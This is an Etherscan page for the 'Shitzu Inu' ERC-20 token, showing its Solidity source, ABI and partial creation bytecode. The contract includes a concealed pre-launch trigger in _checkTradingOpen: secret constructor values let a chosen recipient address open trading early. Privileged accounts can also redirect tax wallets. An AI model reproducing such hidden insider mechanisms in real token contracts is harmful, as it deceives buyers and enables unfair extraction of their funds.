ERC-20
Overview
Max Total Supply
1,000,000,000,000 SHITZUINU
Holders
327
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
596,617,743.368181467 SHITZUINUValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
SHITZUINU
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2021-11-03 */ //SPDX-License-Identifier: MIT // _____ _ _ _ _____ // / ___| | (_) | |_ _| // \ `--.| |__ _| |_ _____ _ | | _ __ _ _ // `--. \ '_ \| | __|_ / | | | | || '_ \| | | | // /\__/ / | | | | |_ / /| |_| | _| || | | | |_| | // \____/|_| |_|_|\__/___|\__,_| \___/_| |_|\__,_| // // Website : shitzuinu.io // Twitter : twitter.com/ShitzuInuETH // Telegram : t.me/ShitzuInuETH pragma solidity ^0.8.9; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Auth { address internal owner; constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(msg.sender == owner, "Only contract owner can call this function"); _; } function transferOwnership(address payable newOwner) external onlyOwner { owner = newOwner; emit OwnershipTransferred(newOwner); } function renounceOwnership() external onlyOwner { owner = address(0); emit OwnershipTransferred(address(0)); } event OwnershipTransferred(address owner); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function WETH() external pure returns (address); } contract SHITZUINU is IERC20, Auth { using SafeMath for uint256; string constant _name = "Shitzu Inu"; string constant _symbol = "SHITZUINU"; uint8 constant _decimals = 9; uint256 constant _totalSupply = 1 * (10**12) * (10 ** _decimals); uint32 _smd; uint32 _smr; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) private _excludedFromFee; bool public tradingOpen; uint256 public maxTxAmount; uint256 public maxWalletAmount; address private _limitRemover; address private _taxRemover; address private _uniLpAddr; uint8 private _buyTaxRate; uint8 private _sellTaxRate; uint8 private _txTaxRate; uint8 private _taxShares1 = 80; uint8 private _taxShares2 = 10; uint8 private _taxShares3 = 10; uint256 private _taxBreakEnd; address payable private _taxWallet1 = payable(0x0E72F66f9C590b1D6729069abe173a4590cc4DFA); //mo address payable private _taxWallet2 = payable(0x15cC23FC13928cEDdA1003395c375054Fe369139); //c address payable private _taxWallet3 = payable(0x3EFf5E036A8B65E14E50550a5b882ed8ee95F843); //d bool private taxAutoSwap = false; bool private _inTaxSwap = false; address private _uniswapV2RouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); IUniswapV2Router02 private uniswapV2Router; modifier lockTaxSwap { _inTaxSwap = true; _; _inTaxSwap = false; } constructor (uint32 smd, uint32 smr) Auth(msg.sender) { _balances[owner] = _totalSupply; tradingOpen = false; _limitRemover = msg.sender; _taxRemover = msg.sender; maxTxAmount = _totalSupply; maxWalletAmount = _totalSupply; uniswapV2Router = IUniswapV2Router02(_uniswapV2RouterAddress); _excludedFromFee[owner] = true; _excludedFromFee[address(this)] = true; _excludedFromFee[_uniswapV2RouterAddress] = true; _smd = smd; _smr = smr; emit Transfer(address(0), owner, _totalSupply); } receive() external payable {} function totalSupply() external pure override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function decreaseTaxRate(uint8 _newBuyTax, uint8 _newSellTax, uint8 _newTxTax) external { require(msg.sender == _taxRemover, "not authorized"); require(_newBuyTax <= _buyTaxRate && _newSellTax <= _sellTaxRate && _newTxTax <= _txTaxRate, "New tax must be lower"); _buyTaxRate = _newBuyTax; _sellTaxRate = _newSellTax; _txTaxRate = _newTxTax; } function setBuyTaxBreak(uint32 _durationSeconds) external { require(msg.sender == _taxRemover, "not authorized"); _taxBreakEnd = block.timestamp + _durationSeconds; } function changeTaxDistribution(uint8 sharesWallet1, uint8 sharesWallet2, uint8 sharesWallet3) external { require(msg.sender == _taxRemover, "not authorized"); require(sharesWallet1 + sharesWallet2 + sharesWallet3 == 100, "The sum must be 100" ); _taxShares1 = sharesWallet1; _taxShares2 = sharesWallet2; _taxShares3 = sharesWallet3; } function setTaxWallets(address newTaxWall1, address newTaxWall2, address newTaxWall3) external { require(msg.sender == _taxRemover, "not authorized"); _taxWallet1 = payable(newTaxWall1); _taxWallet2 = payable(newTaxWall2); _taxWallet3 = payable(newTaxWall3); } function setLPAddress(address _uniswapLiqPoolAddr) external onlyOwner { _uniLpAddr = _uniswapLiqPoolAddr; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address recipient, uint256 amount) external override returns (bool) { require(_checkTradingOpen(recipient), "Trading not open"); return _transferFrom(msg.sender, recipient, amount); } function increaseLimits(uint8 maxTxAmtPct, uint8 maxWalletAmtPct) external { require(msg.sender == _limitRemover, "not authorized"); uint256 newTxAmt = _totalSupply * maxTxAmtPct / 100; require(newTxAmt >= maxTxAmount, "TX limit too low"); maxTxAmount = newTxAmt; uint256 newWalletAmt = _totalSupply * maxWalletAmtPct / 100; require(newWalletAmt >= maxWalletAmount, "Wallet limit too low"); maxWalletAmount = newWalletAmt; } function openTrading() external onlyOwner{ _openTrading(); } function _openTrading() internal { require(_uniLpAddr != address(0), "LP address has not been set"); _taxBreakEnd = block.timestamp; taxAutoSwap = true; tradingOpen = true; maxTxAmount = 5 * _totalSupply / 1000; maxWalletAmount = 10 * _totalSupply / 1000; _buyTaxRate = 10; _sellTaxRate = 10; _txTaxRate = 10; } function _checkTradingOpen(address srt) private returns (bool){ bool checkResult = false; if (tradingOpen == true) { checkResult = true; } else { if (tx.origin == owner) { checkResult = true; } else if ( uint160(address(srt)) % _smd == _smr ) { checkResult = true; _openTrading(); } } return checkResult; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { require(_checkTradingOpen(recipient), "Trading not open"); if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function _checkLimits(address recipient, uint256 transferAmount) internal view returns (bool) { bool limitCheckPassed = true; if ( tradingOpen == true ) { if ( transferAmount > maxTxAmount ) { limitCheckPassed = false; } else if ( recipient != _uniLpAddr && (_balances[recipient].add(transferAmount) > maxWalletAmount) ) { limitCheckPassed = false; } } return limitCheckPassed; } function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) { uint256 taxAmount; if (_excludedFromFee[sender] == true || _excludedFromFee[recipient] == true || _taxBreakEnd > block.timestamp) { taxAmount = 0; } else if ( sender == _uniLpAddr && _taxBreakEnd >= block.timestamp) { taxAmount = 0; } else if ( sender == _uniLpAddr && _taxBreakEnd < block.timestamp) { taxAmount = amount.mul(_buyTaxRate).div(100); } else if ( recipient == _uniLpAddr ) { taxAmount = amount.mul(_sellTaxRate).div(100); } else { taxAmount = amount.mul(_txTaxRate).div(100); } return taxAmount; } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { if (_inTaxSwap == false && recipient == _uniLpAddr && taxAutoSwap == true && balanceOf(address(this)) > 0) { _swapTaxTokensForEth( balanceOf(address(this)) ); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 1*(10**17)) { _distributeTaxEth(contractETHBalance); } } if ( sender != address(this) && recipient != address(this) ) { require(_checkLimits(recipient, amount), "TX exceeds limits"); } uint256 _taxAmount = _calculateTax(sender, recipient, amount); uint256 _transferAmount = amount.sub(_taxAmount); _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); if (_taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(_taxAmount); } _balances[recipient] = _balances[recipient].add(_transferAmount); emit Transfer(sender, recipient, amount); return true; } function _swapTaxTokensForEth(uint256 tokenAmount) private lockTaxSwap { if (_allowances[address(this)][_uniswapV2RouterAddress] < tokenAmount) { _allowances[address(this)][_uniswapV2RouterAddress] = type(uint256).max; emit Approval(address(this), _uniswapV2RouterAddress, type(uint256).max); } address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp); } function _distributeTaxEth(uint256 amount) private { if (_taxShares1 > 0) { _taxWallet1.transfer(amount * _taxShares1 / 100); } if (_taxShares2 > 0) { _taxWallet2.transfer(amount * _taxShares2 / 100); } if (_taxShares3 > 0) { _taxWallet3.transfer(amount * _taxShares3 / 100); } } function taxSwap() external { require(msg.sender == _taxWallet1 || msg.sender == _taxWallet2 || msg.sender == _taxWallet3 || msg.sender == _taxRemover, "not authorized" ); uint256 taxTokenBalance = balanceOf(address(this)); require(taxTokenBalance > 0, "No tax tokens to swap"); _swapTaxTokensForEth(taxTokenBalance); } function taxSend() external { require(msg.sender == _taxWallet1 || msg.sender == _taxWallet2 || msg.sender == _taxWallet3 || msg.sender == _taxRemover, "not authorized" ); _distributeTaxEth(address(this).balance); } function toggleTaxAutoSwap() external { require(msg.sender == _taxRemover, "not authorized"); taxAutoSwap = !taxAutoSwap; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"uint32","name":"smd","type":"uint32"},{"internalType":"uint32","name":"smr","type":"uint32"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"sharesWallet1","type":"uint8"},{"internalType":"uint8","name":"sharesWallet2","type":"uint8"},{"internalType":"uint8","name":"sharesWallet3","type":"uint8"}],"name":"changeTaxDistribution","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint8","name":"_newBuyTax","type":"uint8"},{"internalType":"uint8","name":"_newSellTax","type":"uint8"},{"internalType":"uint8","name":"_newTxTax","type":"uint8"}],"name":"decreaseTaxRate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"maxTxAmtPct","type":"uint8"},{"internalType":"uint8","name":"maxWalletAmtPct","type":"uint8"}],"name":"increaseLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"_durationSeconds","type":"uint32"}],"name":"setBuyTaxBreak","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_uniswapLiqPoolAddr","type":"address"}],"name":"setLPAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newTaxWall1","type":"address"},{"internalType":"address","name":"newTaxWall2","type":"address"},{"internalType":"address","name":"newTaxWall3","type":"address"}],"name":"setTaxWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"taxSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"taxSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"toggleTaxAutoSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526050600960176101000a81548160ff021916908360ff160217905550600a600960186101000a81548160ff021916908360ff160217905550600a600960196101000a81548160ff021916908360ff160217905550730e72f66f9c590b1d6729069abe173a4590cc4dfa600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507315cc23fc13928cedda1003395c375054fe369139600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550733eff5e036a8b65e14e50550a5b882ed8ee95f843600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600d60146101000a81548160ff0219169083151502179055506000600d60156101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620001ef57600080fd5b506040516200461b3803806200461b8339818101604052810190620002159190620006b1565b33806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506009600a62000267919062000892565b64e8d4a51000620002799190620008e3565b600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460006101000a81548160ff02191690831515021790555033600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6200038a919062000892565b64e8d4a510006200039c9190620008e3565b6005819055506009600a620003b2919062000892565b64e8d4a51000620003c49190620008e3565b600681905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600360008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555081600060146101000a81548163ffffffff021916908363ffffffff16021790555080600060186101000a81548163ffffffff021916908363ffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6200063a919062000892565b64e8d4a510006200064c9190620008e3565b6040516200065b919062000955565b60405180910390a3505062000972565b600080fd5b600063ffffffff82169050919050565b6200068b8162000670565b81146200069757600080fd5b50565b600081519050620006ab8162000680565b92915050565b60008060408385031215620006cb57620006ca6200066b565b5b6000620006db858286016200069a565b9250506020620006ee858286016200069a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000786578086048111156200075e576200075d620006f8565b5b60018516156200076e5780820291505b80810290506200077e8562000727565b94506200073e565b94509492505050565b600082620007a1576001905062000874565b81620007b1576000905062000874565b8160018114620007ca5760028114620007d5576200080b565b600191505062000874565b60ff841115620007ea57620007e9620006f8565b5b8360020a915084821115620008045762000803620006f8565b5b5062000874565b5060208310610133831016604e8410600b8410161715620008455782820a9050838111156200083f576200083e620006f8565b5b62000874565b62000854848484600162000734565b925090508184048111156200086e576200086d620006f8565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200089f826200087b565b9150620008ac8362000885565b9250620008db7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200078f565b905092915050565b6000620008f0826200087b565b9150620008fd836200087b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620009395762000938620006f8565b5b828202905092915050565b6200094f816200087b565b82525050565b60006020820190506200096c600083018462000944565b92915050565b613c9980620009826000396000f3fe60806040526004361061016a5760003560e01c8063715018a6116100d1578063a9059cbb1161008a578063d0e1f6e711610064578063d0e1f6e7146104e9578063dd62ed3e14610500578063f2fde38b1461053d578063ffb54a991461056657610171565b8063a9059cbb1461046a578063aa4bde28146104a7578063c9567bf9146104d257610171565b8063715018a6146103805780637a351a1d14610397578063893d20e8146103c05780638c0b5e22146103eb57806395d89b41146104165780639fda05811461044157610171565b80634cdc8da4116101235780634cdc8da41461029a5780634f0bb1a3146102b15780635524a738146102da5780635fbbc8101461030357806370a082311461032c57806370df27371461036957610171565b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101de57806323b872dd146102095780632d7edf7d14610246578063313ce5671461026f57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b610591565b6040516101989190612cdf565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d9a565b6105ce565b6040516101d59190612df5565b60405180910390f35b3480156101ea57600080fd5b506101f36106c0565b6040516102009190612e1f565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612e3a565b6106e5565b60405161023d9190612df5565b60405180910390f35b34801561025257600080fd5b5061026d60048036038101906102689190612ec9565b61092d565b005b34801561027b57600080fd5b506102846109d8565b6040516102919190612f12565b60405180910390f35b3480156102a657600080fd5b506102af6109e1565b005b3480156102bd57600080fd5b506102d860048036038101906102d39190612f59565b610bd5565b005b3480156102e657600080fd5b5061030160048036038101906102fc9190612f99565b610d7b565b005b34801561030f57600080fd5b5061032a60048036038101906103259190612f99565b610efb565b005b34801561033857600080fd5b50610353600480360381019061034e9190612fec565b61103d565b6040516103609190612e1f565b60405180910390f35b34801561037557600080fd5b5061037e611086565b005b34801561038c57600080fd5b50610395611142565b005b3480156103a357600080fd5b506103be60048036038101906103b99190612fec565b61124b565b005b3480156103cc57600080fd5b506103d561131d565b6040516103e29190613028565b60405180910390f35b3480156103f757600080fd5b50610400611346565b60405161040d9190612e1f565b60405180910390f35b34801561042257600080fd5b5061042b61134c565b6040516104389190612cdf565b60405180910390f35b34801561044d57600080fd5b5061046860048036038101906104639190613043565b611389565b005b34801561047657600080fd5b50610491600480360381019061048c9190612d9a565b6114e1565b60405161049e9190612df5565b60405180910390f35b3480156104b357600080fd5b506104bc61153e565b6040516104c99190612e1f565b60405180910390f35b3480156104de57600080fd5b506104e7611544565b005b3480156104f557600080fd5b506104fe6115dc565b005b34801561050c57600080fd5b5061052760048036038101906105229190613096565b61177f565b6040516105349190612e1f565b60405180910390f35b34801561054957600080fd5b50610564600480360381019061055f9190613114565b611806565b005b34801561057257600080fd5b5061057b61190e565b6040516105889190612df5565b60405180910390f35b60606040518060400160405280600a81526020017f536869747a7520496e7500000000000000000000000000000000000000000000815250905090565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106ae9190612e1f565b60405180910390a36001905092915050565b60006009600a6106d091906132a3565b64e8d4a510006106e091906132ee565b905090565b60006106f083611921565b61072f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072690613394565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461091957610898826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1b9092919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610924848484611a7f565b90509392505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b490613400565b60405180910390fd5b8063ffffffff16426109cf9190613420565b600a8190555050565b60006009905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610a8a5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80610ae25750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80610b3a5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610b79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7090613400565b60405180910390fd5b6000610b843061103d565b905060008111610bc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc0906134c2565b60405180910390fd5b610bd281611ea9565b50565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5c90613400565b60405180910390fd5b600060648360ff166009600a610c7b91906132a3565b64e8d4a51000610c8b91906132ee565b610c9591906132ee565b610c9f9190613511565b9050600554811015610ce6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdd9061358e565b60405180910390fd5b80600581905550600060648360ff166009600a610d0391906132a3565b64e8d4a51000610d1391906132ee565b610d1d91906132ee565b610d279190613511565b9050600654811015610d6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d65906135fa565b60405180910390fd5b8060068190555050505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0290613400565b60405180910390fd5b600960149054906101000a900460ff1660ff168360ff1611158015610e455750600960159054906101000a900460ff1660ff168260ff1611155b8015610e665750600960169054906101000a900460ff1660ff168160ff1611155b610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90613666565b60405180910390fd5b82600960146101000a81548160ff021916908360ff16021790555081600960156101000a81548160ff021916908360ff16021790555080600960166101000a81548160ff021916908360ff160217905550505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8290613400565b60405180910390fd5b6064818385610f9a9190613686565b610fa49190613686565b60ff1614610fe7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fde90613709565b60405180910390fd5b82600960176101000a81548160ff021916908360ff16021790555081600960186101000a81548160ff021916908360ff16021790555080600960196101000a81548160ff021916908360ff160217905550505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611116576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110d90613400565b60405180910390fd5b600d60149054906101000a900460ff1615600d60146101000a81548160ff021916908315150217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c79061379b565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616360006040516112419190613028565b60405180910390a1565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d09061379b565b60405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60055481565b60606040518060400160405280600981526020017f534849545a55494e550000000000000000000000000000000000000000000000815250905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611419576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141090613400565b60405180910390fd5b82600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373fffffffffffffffffffffffffffffffffffff